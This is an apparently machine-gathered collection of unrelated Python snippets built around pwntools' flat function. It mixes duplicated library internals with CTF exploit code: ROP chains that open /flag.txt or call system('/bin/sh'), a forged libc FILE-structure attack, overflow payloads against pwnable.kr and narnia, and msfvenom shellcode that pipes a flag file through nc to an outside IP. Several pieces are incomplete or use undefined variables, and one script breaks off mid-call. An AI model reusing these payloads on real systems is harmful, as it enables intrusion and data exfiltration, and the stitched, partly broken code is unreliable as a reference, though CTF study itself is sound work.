def asm(*blocks, **kwargs): """assembles a piece of code. Example: from pwn import * context("i386", "linux") sc = shellcode.dupsh() print enhex(asm(sc))""" import pwn.internal.shellcode_helper as H blocks = H.AssemblerContainer(*blocks, os=kwargs.get('os'), arch=kwargs.get('arch'), cast = 'text') emit_asm = kwargs.get('emit_asm', False) keep_tmp = kwargs.get('keep_tmp', False) if all(isinstance(b, H.AssemblerBlob) for b in blocks.blocks): data = pwn.flat(b.blob for b in blocks.blocks) if emit_asm: return 'The following blob was computed:\n' + data.encode('hex') else: return data code_blocks = [] for n, b in enumerate(blocks.blocks): code_blocks.append('pwn_block%d:' % n) if isinstance(b, H.AssemblerText): code_blocks.append('\n'.join(' '*(not line.strip().endswith(':')) + line.strip() for line in b.text.strip().split('\n'))) elif isinstance(b, H.AssemblerBlob): if blocks.arch in ['i386', 'amd64']: code_blocks.append('db ' + ', '.join('0x%02x' % ord(c) for c in b.blob)) else: code_blocks.append('.byte ' + ', '.join('0x%02x' % ord(c) for c in b.blob)) else: raise Exception("Trying to assemble something that is not an assembler block") system = pwn.with_context(os = blocks.os, arch = blocks.arch) return _asm(system['arch'], system['os'], code_blocks, emit_asm, keep_tmp)
def helper(o): if _is_sympy(o): return pwn.packs_little_endian[self.wordsize * 8]( _sympy_eval(o)) else: return pwn.flat(o, func=pwn.packs_little_endian[self.wordsize * 8])
def __flat__(self): out = '' for e in self._entries: if isinstance(e, _Expr): out += self._get_func(e)(e.force()) else: out += pwn.flat(e, func=self._func) return out
def __len__(self): res = 0 for o in self._content: if pwn.isint(o) or _is_sympy(o): res += self.wordsize elif hasattr(o, '__len__'): res += len(o) else: res += len(pwn.flat(o)) return res
def write_call_eax(): with open("testupx_mod.exe", "rb") as f: data = f.read() # data = bytes(data) data = bytearray(data) pop_rdi_ret = 0x0000000000466403 pop_rsi_ret = 0x0000000000466401 pop_rdx_ret = 0x0000000000413e28 map_base = 0x800000 flag_buf = 0x1b00 open64_plt = 0x4037B0 read_plt = 0x403700 write_plt = 0x403360 data[0x1b20 - 9:0x1b20 + 3] = b'\x3d\xe6\x48' data[0x1b00:len('/flag.txt')] = b'/flag.txt' rop = [ p64(pop_rdi_ret), # pop rdi ; ret p64(0x1b00 + 0x800000), # flag p64(pop_rsi_ret), # pop rsi ; pop r15 ; ret p64(2), p64(0), # p64(pop_rdx_ret), # pop rdx ; ret p64(0), p64(open64_plt), # open64 p64(pop_rdi_ret), # pop rdi ; ret p64(4), p64(pop_rsi_ret), # pop rsi ; pop r15 ;ret p64(0x2000 + 0x800000), # buf p64(0), # padding p64(pop_rdx_ret), # pop rdx ; ret p64(0x20), p64(read_plt), p64(pop_rdi_ret), # pop rdi ; ret p64(1), p64(pop_rsi_ret), p64(0x2000 + 0x800000), # buf p64(0), p64(pop_rdx_ret), p64(0x20), p64(write_plt) ] rop = flat(rop) data[0x1c00:len(rop)] = rop data = bytes(data) with open("test_mod_final.exe", "wb") as f: f.write(data)
def __len__(self): res = 0 for o in self._content: if isinstance(o, int) or _is_sympy(o): res += self.wordsize elif hasattr(o, '__len__'): res += len(o) else: res += len(pwn.flat(o)) return res
def fmtstring(towrite, buf_offset, writesize=1, pre_written=0, use_posix_extension=True): out = '' if not (1 <= writesize <= 4): pwn.die('fmtstring: writesize has to be between 1-4') if not isinstance(towrite, dict): pwn.die('fmtstring: towrite has to be {address,data}') for address in towrite.keys(): data = towrite[address] out += pwn.flat(address + n * writesize for n in range(len(data))) if '%' in out: pwn.die('I do not know how to handle addresses with "%" in them') if '\x00' in out: pwn.die( 'I do not know how to handle addresses with null characters in them' ) bytes_written = len(out) + pre_written for data in towrite.values(): bufsize = len(data) data = [pwn.uint(dat) for dat in pwn.group(writesize, data)] for n, dat in enumerate(data): bufpos = writesize * n bufleft = bufsize - bufpos mod_value = 0x100**min(bufleft, writesize) cur_num_bytes = (dat - bytes_written) % mod_value cur_num_bytes = (cur_num_bytes + mod_value) % mod_value bytes_written += cur_num_bytes if cur_num_bytes == 0: pass if cur_num_bytes == 1: out += '%c' elif cur_num_bytes > 1: out += '%' + str(cur_num_bytes) + 'c' out += '%' + str(buf_offset + n) + '$' if use_posix_extension: if bufleft == 1: out += 'hh' elif bufleft == 2: out += 'h' out += 'n' return out
def asm(*blocks, **kwargs): blocks = H.AssemblerContainer(*blocks, os=kwargs.get('os'), arch=kwargs.get('arch'), cast = 'text') emit_asm = kwargs.get('emit_asm', False) if all(isinstance(b, H.AssemblerBlob) for b in blocks.blocks): data = pwn.flat(b.blob for b in blocks.blocks) if emit_asm: return 'The following blob was computed:\n' + data.encode('hex') else: return data system = pwn.with_context(os = blocks.os, arch = blocks.arch) return _asm_real(system['arch'], system['os'], blocks, emit_asm, kwargs.get('checked', True))
def fmtstring(towrite, buf_offset, writesize = 1, pre_written = 0, use_posix_extension = True): out = '' if not (1 <= writesize <= 4): pwn.die('fmtstring: writesize has to be between 1-4') if not isinstance(towrite,dict): pwn.die('fmtstring: towrite has to be {address,data}') for address in towrite.keys(): data = towrite[address] out += pwn.flat(address + n * writesize for n in range(len(data))) if '%' in out: pwn.die('I do not know how to handle addresses with "%" in them') if '\x00' in out: pwn.die('I do not know how to handle addresses with null characters in them') bytes_written = len(out) + pre_written for data in towrite.values(): bufsize = len(data) data = [pwn.uint(dat) for dat in pwn.group(writesize, data)] for n, dat in enumerate(data): bufpos = writesize*n bufleft = bufsize - bufpos mod_value = 0x100 ** min(bufleft, writesize) cur_num_bytes = (dat - bytes_written) % mod_value cur_num_bytes = (cur_num_bytes + mod_value) % mod_value bytes_written += cur_num_bytes if cur_num_bytes == 0: pass if cur_num_bytes == 1: out += '%c' elif cur_num_bytes > 1: out += '%' + str(cur_num_bytes) + 'c' out += '%' + str(buf_offset+n) + '$' if use_posix_extension: if bufleft == 1: out += 'hh' elif bufleft == 2: out += 'h' out += 'n' return out
def asm(*blocks, **kwargs): blocks = H.AssemblerContainer(*blocks, os=kwargs.get('os'), arch=kwargs.get('arch'), cast='text') emit_asm = kwargs.get('emit_asm', False) if all(isinstance(b, H.AssemblerBlob) for b in blocks.blocks): data = pwn.flat(b.blob for b in blocks.blocks) if emit_asm: return 'The following blob was computed:\n' + data.encode('hex') else: return data system = pwn.with_context(os=blocks.os, arch=blocks.arch) return _asm_real(system['arch'], system['os'], blocks, emit_asm, kwargs.get('checked', True))
def asm(*blocks, **kwargs): """assembles a piece of code. Example: from pwn import * context("i386", "linux") sc = shellcode.dupsh() print enhex(asm(sc))""" import pwn.internal.shellcode_helper as H blocks = H.AssemblerContainer(*blocks, os=kwargs.get('os'), arch=kwargs.get('arch'), cast='text') emit_asm = kwargs.get('emit_asm', False) keep_tmp = kwargs.get('keep_tmp', False) if all(isinstance(b, H.AssemblerBlob) for b in blocks.blocks): data = pwn.flat(b.blob for b in blocks.blocks) if emit_asm: return 'The following blob was computed:\n' + data.encode('hex') else: return data code_blocks = [] for n, b in enumerate(blocks.blocks): code_blocks.append('pwn_block%d:' % n) if isinstance(b, H.AssemblerText): code_blocks.append('\n'.join( ' ' * (not line.strip().endswith(':')) + line.strip() for line in b.text.strip().split('\n'))) elif isinstance(b, H.AssemblerBlob): if blocks.arch in ['i386', 'amd64']: code_blocks.append('db ' + ', '.join('0x%02x' % ord(c) for c in b.blob)) else: code_blocks.append('.byte ' + ', '.join('0x%02x' % ord(c) for c in b.blob)) else: raise Exception( "Trying to assemble something that is not an assembler block") system = pwn.with_context(os=blocks.os, arch=blocks.arch) return _asm(system['arch'], system['os'], code_blocks, emit_asm, keep_tmp)
def update_symbols(self, offset = 0, base = None): Block.symbols[self.name + '_offset_start'] = offset if base: Block.symbols[self.name + '_addr_start'] = base + offset for o in self._content: if isinstance(o, Block): offset = o.update_symbols(offset, base) elif isinstance(o, int) or _is_sympy(o): offset += self.wordsize elif hasattr(o, '__len__'): offset += len(o) else: offset += len(pwn.flat(o)) if base: Block.symbols[self.name + '_addr_end'] = base + offset Block.symbols[self.name + '_offset_end'] = offset Block.symbols[self.name + '_size'] = Block.symbols[self.name + '_offset_end'] - Block.symbols[self.name + '_offset_start'] return offset
def update_symbols(self, offset=0, base=None): Block.symbols[self.name + '_offset_start'] = offset if base: Block.symbols[self.name + '_addr_start'] = base + offset for o in self._content: if isinstance(o, Block): offset = o.update_symbols(offset, base) elif pwn.isint(o) or _is_sympy(o): offset += self.wordsize elif hasattr(o, '__len__'): offset += len(o) else: offset += len(pwn.flat(o)) if base: Block.symbols[self.name + '_addr_end'] = base + offset Block.symbols[self.name + '_offset_end'] = offset Block.symbols[self.name + '_size'] = Block.symbols[ self.name + '_offset_end'] - Block.symbols[self.name + '_offset_start'] return offset
def pargs(args): out = [] for a in args: if a is None: out.append(garbage()) elif pwn.isint(a): out.append(p(a)) elif hasattr(a, '__iter__'): packed = pargs(a) payload.extend(packed) out.append(offset[0]) for a in packed: if pwn.isint(a): offset[0] += 4 else: offset[0] += len(a) else: if isinstance(a, str): a += '\x00' a = pwn.flat(a) payload.append(a) out.append(offset[0]) offset[0] += len(a) return out
def send(self, *dat): """Sends data to the socket.""" dat = pwn.flat(dat) self._send(dat)
import pwn # set architecture if necessary pwn.context.arch = 'amd64' # for our own syscall %rdi, %rsi, %rdx, %r10, %r8 and %r9. pop_rax = addr_pop_rax # syscall number pop_rdi = addr_pop_rdi # first parameter pop_rsi = addr_pop_rsi # second parameter pop_rdx = addr_pop_rdx # third parameter syscall = addr_int_80 # perform syscall with "int 0x80" def mysyscall(no, arg1): return [pop_rax, no, pop_rdi, arg1, pop_rsi, arg2, pop_rdx, arg3, syscall] sh = addr_of_sh_string proc = pwn.process("binarys") # flat and setup syscall payload = pwn.flat(mysyscall(0x3b, sh, 0, 0)) # 0x3b = 59 = execve # send payload print "payload:", repr(payload) proc.sendline(payload) proc.interactive()
def unordlist(cs): return pwn.flat(cs, func=pwn.p8)
def unordlist(cs): """Takes a list of ascii values and returns the corresponding string""" return pwn.flat(cs, func=pwn.p8)
def pwn(self): pwn.log.info("Starting pwning...") self.elf.address = self.get_leak("a" * 8) - 0x1090 self.libc.address = self.get_leak("a" * 16) - 0x3e82a0 system = self.libc.symbols['system'] ch = self.elf.symbols['ch'] _IO_file_jumps = self.libc.symbols['_IO_file_jumps'] _IO_str_overflow_ptr = _IO_file_jumps + 0xd8 _IO_2_1_stderr_ = self.libc.symbols['_IO_2_1_stderr_'] sh = next(self.libc.search(b"/bin/sh")) print("SH: ", sh) self.set_name(b'AAAA') readable = self.elf.symbols['numbers'] fake_file = pwn.flat([ pwn.p64(0), # flags pwn.p64(readable), # _IO_read_ptr pwn.p64(readable), # _IO_read_end pwn.p64(readable), # _IO_read_base pwn.p64(0), # _IO_write_base pwn.p64((sh - 100) // 2), # _IO_write_ptr * pwn.p64(readable), # _IO_write_end pwn.p64(0), # _IO_buf_base pwn.p64((sh - 100) // 2), # _IO_buf_end * pwn.p64(0), # _IO_save_base pwn.p64(0), # _IO_backup_base pwn.p64(0), # _IO_save_end pwn.p64(0), # _IO_marker pwn.p64(_IO_2_1_stderr_), # _IO_chain pwn.p32(3), # _fileno pwn.p32(0), # pwn.p64(readable), # _IO_lock_t pwn.p64(0), pwn.p64(readable), pwn.p64(0), pwn.p64(0), pwn.p64(0), pwn.p64(0), pwn.p64(0), pwn.p64(0), pwn.p64(0), pwn.p64(0), pwn.p64(0), pwn.p64(_IO_str_overflow_ptr - 0x10), pwn.p64(system) ]) pwn.log.info("binary @ %s" % hex(self.elf.address)) pwn.log.info("ch @ %s" % hex(ch)) pwn.log.info("libc @ %s" % hex(self.libc.address)) pwn.log.info("system @ %s" % hex(system)) pwn.log.info("_IO_file_jumps @ %s" % hex(_IO_file_jumps)) pwn.log.info("/bin/sh @ %s" % hex(sh)) n = 64 self.set_n_subjects(n) size = 8 chunks = [ fake_file[i:i + size] for i in range(0, len(fake_file), size) ] for chunk in chunks: n -= 2 lo = self.convert_to_float(pwn.u32(chunk[0:4])) hi = self.convert_to_float(pwn.u32(chunk[4:8])) self.add_subject(lo) self.add_subject(hi) while n > 0: self.add_subject(0.0) n -= 1 #raw_input("a") lo = self.convert_to_float(ch & 0xffffffff) self.add_subject(lo)
def __len__(self): return len(pwn.flat(self))
def sendline(self, *line): line = pwn.flat(line) self.send(line + '\n')
def sendafter(self, delim, *dat): """ Wait for delim, then send *dat""" dat = pwn.flat(dat) res = self.recvuntil(delim) self.send(dat) return res
#!/usr/bin/env python3 import pwn pwn.context(arch="i386", os="linux") PAYLOAD = pwn.flat('A' * (44 + 4 + 4), 0xcafebabe, '\n') r = pwn.remote("pwnable.kr", 9000) r.send(PAYLOAD) r.interactive()
def sendline(self, *line): """Sends data to the socket appended with a newline.""" line = pwn.flat(line) self.send(line + "\n")
def sendlinethen(self, delim, *dat): ''' Like sendthen, but appends a newline''' dat = pwn.flat(dat) self.send(dat + '\n') res = self.recvuntil(delim) return res
def _flatset(s): return set(pwn.flat(s, func=pwn.p8))
def send(self, *dat): dat = pwn.flat(dat) self._send(dat)
def l(addr): r.send(pwn.flat(addr, func=func)) d = r.recv(8) if d is None or len(d) == 0: raise 'Peer closed connection' return d
def sendline(self, *line): '''Sends data to the socket appended with a newline.''' line = pwn.flat(line) self.send(line + '\n')
def helper(o): if _is_sympy(o): return pwn.packs_little_endian[self.wordsize * 8](_sympy_eval(o)) else: return pwn.flat(o, func = pwn.packs_little_endian[self.wordsize * 8])
""" ROPalicious payload generation 2015-11-01 ROT strace -fi bash -c "(cat shell; cat) | ./ropalicious" """ import sys from pwn import p32, flat system_addr = 0x8048330 bss = 0x080497b8 pop_ret = 0x8048546 gets_addr = 0x8048310 sys.stdout.write('y') sys.stdout.write(75 * 'A') sys.stdout.write( flat( gets_addr, pop_ret, bss, system_addr, 'AAAA', bss, '\n', '/bin/sh\n', ))
# sc += "\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x59\x5e\x5a\x0f" # sc += "\x05\xff\xe6" # msfvenom -p linux/x64/exec cmd="cat flag| nc 123.207.141.87 12345" -f python -v sc sc = "" sc += "\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68" sc += "\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6" sc += "\x52\xe8\x22\x00\x00\x00\x63\x61\x74\x20\x66\x6c\x61" sc += "\x67\x7c\x20\x6e\x63\x20\x31\x32\x33\x2e\x32\x30\x37" sc += "\x2e\x31\x34\x31\x2e\x38\x37\x20\x31\x32\x33\x34\x35" sc += "\x00\x56\x57\x48\x89\xe6\x0f\x05" payload = fit( { 0x48: flat(canary), 0x58: flat(prdi, stack, prsi, 0x1000, prdx, 0x7, libc.sym['mprotect'], jrsp) }, filler='\0') payload += sc # raw_input("DEBUG: ") rop(payload) success("DONE") ''' 1. leak canary, stack address and libc.address using format string bug in router(); 2. with known canary and libc.address, we're able to ROP. 3. I just want to send my payload using requests.get(), so I make a mprotect(stack, 0x1000, 7) and using rop then jump to my shellcode. However, I've no idea why reverse_tcp shellcode failed. I guess it stucks in requests.get. Please kindly let me know if you know the answer.
def l(addr): r.send(pwn.flat(addr, func = func)) d = r.recv(8) if d is None or len(d) == 0: raise 'Peer closed connection' return d
#!/usr/bin/env python3 import pwn import os doing = pwn.term.output(float=True) if pwn.context.log_level == pwn.logging.INFO: pwn.context(log_level='ERROR') pwn.context(arch='i386') solutions = [ # Entry <i> is the solution to narnia<i> pwn.flat('A' * 20, 0xdeadbeef), pwn.asm(pwn.shellcraft.sh()), pwn.cyclic(200) ] # Run this python script inside tmux like this: # $> tmux # $> ./exploit GDB # It will spawn a separate window with the GDB session pwn.context.terminal = ["tmux", "splitw", "-h"] gdbscript = ''' continue '''.format(**locals()) def ssh_connect(level_id, level_password): return pwn.ssh(user='******' % level_id, password=level_password, host="narnia.labs.overthewire.org",
def sendthen(self, delim, *dat): """ Send *dat, then wait for delim""" dat = pwn.flat(dat) self.send(dat) res = self.recvuntil(delim) return res
def sendlinethen(self, delim, *dat): """ Like sendthen, but appends a newline""" dat = pwn.flat(dat) self.send(dat + "\n") res = self.recvuntil(delim) return res
def interleave_vigenere(strands, length): return flat([[strand[n:n+1] for strand in strands] for n in range(length)])
def interleave_vigenere(strands, length): return pwn.flat([[strand[n:n+1] for strand in strands] for n in range(length)])
def send(self, *dat): '''Sends data to the socket.''' dat = pwn.flat(dat) self._send(dat)